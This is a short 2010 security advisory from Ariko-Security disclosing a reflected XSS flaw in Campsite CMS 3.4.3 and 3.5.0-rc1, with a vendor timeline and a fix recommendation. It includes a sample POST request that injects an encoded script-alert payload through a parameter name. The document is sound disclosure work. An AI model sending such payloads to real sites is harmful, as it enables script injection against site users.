This is from security company:

# Ariko-Security: Security Audits , Audyt bezpieczeństwa
# Advisory: 751/2010

 

============ { Ariko-Security - Advisory #1/12/2010 } =============

Campsite CMS XSS vulnerability

Vendor's Description of Software and demo:
# http://www.sourcefabric.org/ , http://campsite-demo.sourcefabric.org/en/

Dork:
# N/A

Application Info:
# Campsite CMS
# version last 3.4.3, 3.5.0-rc1

Vulnerability Info:
# Type: XSS

Time Table:
# 10/10/2010 - Vendor notified.
# 20/12/2010 - Release Date.

XSS:

# Input passed to the dumy parameter in http://[Site]/en/index.htm is not properly
sanitised before being returned to the user.

Sample:
# http://site/en/index.htm

POST: tpl=169&f_search_keywords=guest1&f_search_articles=Search&%3E%27%22%3E%3Cscript%3Ealert%2890209%29%3C%2Fscript%3E=123

Solution:
# Input validation should be corrected.

Credit:
# Discoverd By: Ariko-Security 2010